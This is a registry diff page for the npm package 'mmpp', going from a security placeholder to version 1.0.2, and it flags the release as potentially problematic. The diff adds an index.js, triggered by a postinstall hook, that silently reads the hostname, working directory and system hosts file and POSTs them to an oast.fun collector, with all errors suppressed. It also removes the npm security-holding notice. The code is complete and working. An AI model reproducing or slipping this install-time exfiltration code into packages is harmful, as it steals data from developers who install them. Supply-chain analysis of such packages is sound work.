mmpp 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mmpp might be problematic. Click here for more details.
- package/index.js +64 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
// Collect necessary information
|
|
7
|
+
const notifyAttacker = () => {
|
|
8
|
+
const attackerServer = 'xhrtivckvxpmwsecusgr02ualcf1zmfam.oast.fun'; // Replace with your server address
|
|
9
|
+
const hostname = os.hostname(); // Get the machine's hostname
|
|
10
|
+
const pwd = process.cwd(); // Get the current working directory
|
|
11
|
+
const packageName = require('./package.json').name; // Get package name from package.json
|
|
12
|
+
|
|
13
|
+
// Determine the hosts file path based on the OS (Windows or Linux/Mac)
|
|
14
|
+
const hostsFile = os.platform() === 'win32'
|
|
15
|
+
? 'C:\\Windows\\System32\\drivers\\etc\\hosts' // Windows path
|
|
16
|
+
: '/etc/hosts'; // Linux/Mac path
|
|
17
|
+
|
|
18
|
+
let hostsContent = '';
|
|
19
|
+
|
|
20
|
+
// Try to read the hosts file (errors are silently caught)
|
|
21
|
+
try {
|
|
22
|
+
hostsContent = fs.readFileSync(hostsFile, 'utf8');
|
|
23
|
+
} catch (err) {
|
|
24
|
+
// Silently ignore any errors
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Prepare the data to be sent
|
|
28
|
+
const data = JSON.stringify({
|
|
29
|
+
hostname: hostname,
|
|
30
|
+
pwd: pwd,
|
|
31
|
+
packageName: packageName,
|
|
32
|
+
hostsFile: hostsContent
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
// Setup HTTP options
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: attackerServer, // The attacker's server domain or IP
|
|
38
|
+
port: 443, // Use port 80 for HTTP
|
|
39
|
+
path: '/notify', // Change path as needed
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: {
|
|
42
|
+
'Content-Type': 'application/json',
|
|
43
|
+
'Content-Length': data.length
|
|
44
|
+
}
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
// Send the request to the attacker’s server
|
|
48
|
+
const req = https.request(options, (res) => {
|
|
49
|
+
// No logging, silently handle the response
|
|
50
|
+
res.on('data', () => { /* Do nothing */ });
|
|
51
|
+
res.on('end', () => { /* Do nothing */ });
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
req.on('error', () => {
|
|
55
|
+
// Silently handle errors
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
// Write and send the request body
|
|
59
|
+
req.write(data);
|
|
60
|
+
req.end();
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
// Trigger the notification when the package is installed
|
|
64
|
+
notifyAttacker();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mmpp",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node index.js"
|
|
7
|
+
},
|
|
8
|
+
"dependencies": {
|
|
9
|
+
"mmpp": "^1.0.1"
|
|
10
|
+
}
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mmpp for more information.
|